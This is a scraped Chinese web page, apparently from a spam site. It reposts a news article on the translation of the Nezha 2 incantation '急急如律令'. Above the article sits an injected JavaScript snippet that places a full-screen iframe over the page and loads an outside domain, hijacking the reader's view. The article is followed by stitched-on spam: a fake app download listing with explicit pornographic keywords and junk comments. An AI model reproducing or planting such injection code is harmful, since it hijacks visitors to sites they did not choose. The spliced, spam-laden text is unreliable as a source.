首页 ›黑料吃瓜›内容详情

齐鲁晚报:黑料吃瓜官网-51吃瓜黑料入口-《哪吒2》的“急急如律令”被翻成biubiubiu？网友吵翻了

alan 黑料吃瓜 2025-02-11 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

当地时间 2 月 8 日，《哪吒 2》在美国洛杉矶的好莱坞 TCL 中国大剧院举行北美首映礼。当天首映结束后，全场观众报以热烈掌声。有网友称，台词 " 急急如律令 " 被翻译为 "quickly quickly biu biu biu"，不少网友都发表了自己的看法：

" 直接说急急如律令也不错 "" 我觉得不用翻译直接用中文更好，这么翻译 b 格都下来了 "" 还有法器、兵器名称都不应该翻译，应该直接用拼音 "" 音译不行吗 "。

" 急急如律令 " 源自中国道教文化，最早可追溯至汉代公文用语，意为 " 立即执行命令，如同法律般不可违抗 "，或 " 请速速遵照执行，不得有误，违者必究 "。

道教将其引入咒语体系，用于驱邪、施法等仪式，常被用于符咒的末尾，希望借助神力迅速实现咒语的效果，强调 " 号令鬼神 " 的权威性。

在《哪吒》系列电影中，太乙真人使用这句咒语驱动法宝（如乾坤圈），既符合他作为道教神话人物的身份，也强化了 " 神仙施法 " 的仪式感。

那么要怎么翻译才信达雅呢？

1、直译

如果按照字面意义，" 急急如律令 " 可以翻译成：

Quickly, in accordance with the law.

或者：Immediately follow the spell.

在《哪吒之魔童降世》的海外上映版本中，" 急急如律令 " 被翻译为 "Be quick to obey my command"，是 " 快速听令 " 的意思，也比较贴切。

不过，" 急急如律令 " 兼具的命令性与咒语的神秘感，在这些直译版本里并没有完美体现出来。

如果再打磨一下，可以加入一些古体词或书面语，让译文兼顾韵律与权威感，节奏上更加短促有力，比如：

Swiftly, as decreed by celestial law.

decree：颁布法令 celestial /s əˈ lesti ə l/：天上的；天堂的

Hasten, by Heaven's command!

hasten / ˈ he ɪ s ə n/：加速

Expedite! By divine order.

expedite / ˈɛ ksp ɪˌ da ɪ t/：加快

2、象声词创意

2019 年《哪吒之魔童降世》出海时，微博就曾掀起哪吒台词梗翻译大赛，针对 " 急急如律令 "，人民日报微博直接给出了网友的翻译："fast fast biu biu"。

图源：人民日报

网友以 "fast" 对应 " 急急 "，"biu" 模拟法术特效声，兼顾趣味性与节奏感，成为网络热议的 " 神翻译 "。

3、保留拼音

部分网友主张直接使用 "Ji Ji Ru Lyu Ling"，类比《狮子王》中的 "Hakuna Matata"，通过文化输出让英语观众接受原声咒语。

就像《哈利 · 波特》中伏地魔的 " 阿瓦达索命 " 咒，Avada Kedavra，虽然是拗口的发音，但也已经被中国观众欣然接受，哈迷们张口就能来一句 " 阿瓦达啃大瓜 "。

4、借用西方咒语

英语学习博主 " 侃英语 " 提到一个西方魔术师表演时常念的词：Abracadabra / ˌ æbr ə k əˈ dæbr ə /。

词典解释是：

a word that people say when they do a magic trick, in order to make it successful 当人们表演魔术时总会喊这个词以希望魔术成功

该词的发音与意境和 " 急急如律令 " 有着异曲同工之妙，便于西方观众理解，也是一个选择。

你对于 " 急急如律令 " 的翻译，有什么妙招？欢迎分享。

来源：中国日报

本文地址：http://ccgg6.cc/post/8013.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 3d动漫精品一区视频在线观看
水蜜桃免费视频

奇米米奇777

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载国内熟女精品熟女A片小说安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
网站免费黄0 米奇在线1 91TV免费视频2 激情视频网址3 台湾中文娱乐4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 中文字幕精品A片不卡一卡二
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，国产精品人妻一码二码尿失禁，综合色就爱涩涩涩综合婷婷
二，久久久国产精品免费A片3D，最大胆裸体人体牲交666
三，日韩 高清 超清 有码 无码，两人性潮高免费视频看
四，国产在线黄色，国产91av视频
五，深夜性久久，性盈盈影院中文字幕
六，A片试看120分钟做受视频在线，欧美日日干
七，乱子伦视频在线看，免费观看少妇全黄A片

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
男女野外做爰全过程视频，扒开她粉嫩的小缝的A片

手机福利视频

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 3d漫画 4天前
    JIZZJIZZ日本护士水多多小说
  • 国产亚洲精品久久久久久无码网站 7天前
    再深点灬舒服灬受不了了视频
  • 性生爱120分钟 7天前
    色豆豆永久免费网站
  • 国产露脸无码A区久久蘑菇 6天前
    通房丫头被肉日常NP
  • 神马电影dy888午夜我不卡 2天前
    秋霞影院午夜伦A片欧美
  • 国产精品久久久久久影院 4天前
    国产色情一区二区三区在线播放
  • 国产福利萌白酱白色旗袍 5天前
    无码毛片A片-区二区三区
  • 亚洲无线看天堂av 4天前
    《熟妇的荡欲》未删减版
  • 黄色电影毛片 4天前
    国产精品呻吟AV久久高潮
  • 国产精品亚欧美一区二区三区 9天前
    少妇被躁爽到高潮无码麻豆AV
漂亮的保姆完整中文
中国午夜伦理片伦理片 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有